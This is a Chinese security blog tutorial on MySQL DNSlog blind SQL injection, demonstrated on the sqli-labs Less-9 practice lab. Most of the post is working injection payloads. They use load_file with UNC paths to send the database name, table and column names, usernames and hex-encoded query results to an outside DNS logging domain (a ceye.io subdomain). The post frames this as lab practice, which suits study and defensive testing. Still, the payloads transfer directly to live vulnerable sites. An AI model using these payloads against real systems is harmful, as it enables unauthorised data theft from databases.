Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

mysql-dnslog注入

渗透测试 Adminxe 8845℃ 0评论

@Adminxe

http://ceye.io/   //dnslog注入平台

dnslog原理简介:

  简单理解就是在利用注入漏洞的时候,页面无回显,无法直接获得回显信息的情况下,目标可以发起DNS请求,这时就可以尝试通过DNSlog注入的方式把想获得的数据外带出来。 对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入。

mysql下的dnslog注入:

利用条件:secure_file_priv 不能为NULL,仅支持 Windows但不支持 Linux ,原因如下:

load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。

因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的

1.show variables like ‘%secure%’;      //查看secure_file_priv的配置情况

查询当前数据库:

and load_file(concat(‘\\\\’,(select database()),’.xtftm5.ceye.io\\sql’))          //xtftm5.ceye.io根据ceye平台给你的域名更改,\\sql是域名目录,随意即可,select database()换成sql注入payload即可

查询表名:

and load_file(concat(‘\\\\’,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),’.xtftm5.ceye.io\\sql’))

查询列名:

and load_file(concat(‘\\\\’,(select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),’.xtftm5.ceye.io\\sql’))

查询数据:

and load_file(concat(‘\\\\’,(select username from users limit 0,1),’.xtftm5.ceye.io\\sql’))

实战演示sqli的第九关 :

查询当前数据库名:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select database()),’.xtftm5.ceye.io\\sql’))–+

   可以看到这里成返回了当前数据库的名字

查询当前数据库的第一个表名:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),’.xtftm5.ceye.io\\sql’))–+

可以看到这里成返回了第一个表的名字

查询第users表一个列名:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),’.xtftm5.ceye.io\\sql’))–+

可以看到这里成返回了users表第一列的名字

查询users表的username列的数据:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select username from users limit 0,1),’.xtftm5.ceye.io\\sql’))–+

可以看到这里成返回了username第一个的数据

需要注意的点:

1.查询当前用户时,因为结果中有@符号,使用dnslog注入时,需要使用hex函数进行转码,再将查询到的hex转码后的数据解码即可,如下:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select hex(user())),’.xtftm5.ceye.io\\sql’))–+

2.如果使用group_concat函数进行快读查询,也同样需要hex转码,利用如下:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select hex(group_concat(table_name)) from information_schema.tables where table_schema=’security’),’.xtftm5.ceye.io\\sql’))–+

查询到的是hex编码的结果

利用工具hex解码一下即可

转载请注明:Adminxe's Blog » mysql-dnslog注入

喜欢 (4)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址